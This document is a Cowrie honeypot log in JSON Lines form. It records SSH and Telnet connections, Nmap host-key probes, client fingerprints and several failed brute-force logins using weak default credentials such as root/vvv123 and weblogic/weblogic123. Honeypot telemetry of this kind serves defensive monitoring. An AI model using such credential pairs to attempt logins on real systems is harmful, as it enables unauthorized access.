{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":33568,"dst_ip":"10.17.0.5","dst_port":22,"session":"95e0e0e8a240","protocol":"ssh","message":"New connection: 45.153.34.97:33568 (10.17.0.5:22) [session: 95e0e0e8a240]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:57.308878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:57.314034Z","src_ip":"45.153.34.97","session":"95e0e0e8a240","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:57.396376Z","src_ip":"45.153.34.97","session":"95e0e0e8a240","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic123","message":"login attempt [weblogic/weblogic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:57.677221Z","src_ip":"45.153.34.97","session":"95e0e0e8a240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35808,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a421450b1b7","protocol":"telnet","message":"New connection: 152.42.224.71:35808 (10.17.0.5:23) [session: 3a421450b1b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:58.010581Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:59.074553Z","src_ip":"45.153.34.97","session":"95e0e0e8a240","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":57464,"dst_ip":"10.17.0.5","dst_port":22,"session":"eaefd0e28e4f","protocol":"ssh","message":"New connection: 45.153.34.97:57464 (10.17.0.5:22) [session: eaefd0e28e4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:01.470152Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:01.479852Z","src_ip":"45.153.34.97","session":"eaefd0e28e4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:01.898647Z","src_ip":"45.153.34.97","session":"eaefd0e28e4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:02.200302Z","src_ip":"45.153.34.97","session":"eaefd0e28e4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:03.325997Z","src_ip":"45.153.34.97","session":"eaefd0e28e4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.15.108","src_port":53294,"dst_ip":"10.17.0.5","dst_port":22,"session":"36c457f112b9","protocol":"ssh","message":"New connection: 34.140.15.108:53294 (10.17.0.5:22) [session: 36c457f112b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:03.896051Z"}
{"eventid":"cowrie.client.version","version":"SSH-1.5-Nmap-SSH1-Hostkey","message":"Remote SSH version: SSH-1.5-Nmap-SSH1-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:04.025649Z","src_ip":"34.140.15.108","session":"36c457f112b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:04.032021Z","src_ip":"34.140.15.108","session":"36c457f112b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":98.44136428833008,"message":"Connection lost after 98 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:04.153885Z","src_ip":"152.42.224.71","session":"6792a0a26eac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.15.108","src_port":53306,"dst_ip":"10.17.0.5","dst_port":22,"session":"12d4c7d7ca70","protocol":"ssh","message":"New connection: 34.140.15.108:53306 (10.17.0.5:22) [session: 12d4c7d7ca70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:04.260969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:04.387421Z","src_ip":"34.140.15.108","session":"12d4c7d7ca70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-dss"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:04.462657Z","src_ip":"34.140.15.108","session":"12d4c7d7ca70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:04.475409Z","src_ip":"34.140.15.108","session":"12d4c7d7ca70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.15.108","src_port":53320,"dst_ip":"10.17.0.5","dst_port":22,"session":"2507a14b5b62","protocol":"ssh","message":"New connection: 34.140.15.108:53320 (10.17.0.5:22) [session: 2507a14b5b62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:04.618378Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.36.83","src_port":42810,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c5129f234e8","protocol":"ssh","message":"New connection: 43.153.36.83:42810 (10.17.0.5:22) [session: 0c5129f234e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:04.630721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:04.637165Z","src_ip":"43.153.36.83","session":"0c5129f234e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:04.706932Z","src_ip":"43.153.36.83","session":"0c5129f234e8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:04.754281Z","src_ip":"34.140.15.108","session":"2507a14b5b62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:04.827125Z","src_ip":"34.140.15.108","session":"2507a14b5b62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vvv123","message":"login attempt [root/vvv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:05.019535Z","src_ip":"43.153.36.83","session":"0c5129f234e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:05.064963Z","src_ip":"34.140.15.108","session":"2507a14b5b62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.15.108","src_port":53326,"dst_ip":"10.17.0.5","dst_port":22,"session":"b7705ebc614a","protocol":"ssh","message":"New connection: 34.140.15.108:53326 (10.17.0.5:22) [session: b7705ebc614a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:05.139452Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:05.276428Z","src_ip":"34.140.15.108","session":"b7705ebc614a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp256"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:05.351023Z","src_ip":"34.140.15.108","session":"b7705ebc614a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:05.582870Z","src_ip":"34.140.15.108","session":"b7705ebc614a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.15.108","src_port":53334,"dst_ip":"10.17.0.5","dst_port":22,"session":"a2f688e2b05c","protocol":"ssh","message":"New connection: 34.140.15.108:53334 (10.17.0.5:22) [session: a2f688e2b05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:05.657332Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":57480,"dst_ip":"10.17.0.5","dst_port":22,"session":"9cf01796a190","protocol":"ssh","message":"New connection: 45.153.34.97:57480 (10.17.0.5:22) [session: 9cf01796a190]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:05.688976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:05.697191Z","src_ip":"45.153.34.97","session":"9cf01796a190","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:05.788649Z","src_ip":"34.140.15.108","session":"a2f688e2b05c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:05.796560Z","src_ip":"45.153.34.97","session":"9cf01796a190","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp384"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:05.865365Z","src_ip":"34.140.15.108","session":"a2f688e2b05c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:05.873846Z","src_ip":"34.140.15.108","session":"a2f688e2b05c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.15.108","src_port":53350,"dst_ip":"10.17.0.5","dst_port":22,"session":"62bddaf2f49c","protocol":"ssh","message":"New connection: 34.140.15.108:53350 (10.17.0.5:22) [session: 62bddaf2f49c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:06.017834Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:06.093431Z","src_ip":"43.153.36.83","session":"0c5129f234e8","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:06.153561Z","src_ip":"34.140.15.108","session":"62bddaf2f49c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ecdsa-sha2-nistp521"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:06.230346Z","src_ip":"34.140.15.108","session":"62bddaf2f49c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:06.244920Z","src_ip":"34.140.15.108","session":"62bddaf2f49c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sam","password":"abc123","message":"login attempt [sam/abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:06.280523Z","src_ip":"45.153.34.97","session":"9cf01796a190","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.140.15.108","src_port":53358,"dst_ip":"10.17.0.5","dst_port":22,"session":"70a11f9bbe3f","protocol":"ssh","message":"New connection: 34.140.15.108:53358 (10.17.0.5:22) [session: 70a11f9bbe3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:06.378439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Nmap-SSH2-Hostkey","message":"Remote SSH version: SSH-2.0-Nmap-SSH2-Hostkey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:06.507933Z","src_ip":"34.140.15.108","session":"70a11f9bbe3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e788c657d1a22971d5026526ffd2e918","hasshAlgorithms":"diffie-hellman-group1-sha1,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-cbc,3des-cbc,blowfish-cbc,aes192-cbc,aes256-cbc,aes128-ctr,aes192-ctr,aes256-ctr;hmac-md5,hmac-sha1,hmac-ripemd160;none","kexAlgs":["diffie-hellman-group1-sha1","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-ed25519"],"encCS":["aes128-cbc","3des-cbc","blowfish-cbc","aes192-cbc","aes256-cbc","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-md5","hmac-sha1","hmac-ripemd160"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e788c657d1a22971d5026526ffd2e918","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:06.582487Z","src_ip":"34.140.15.108","session":"70a11f9bbe3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:00:06.814565Z","src_ip":"34.140.15.108","session":"70a11f9bbe3f","protocol":"ssh"}
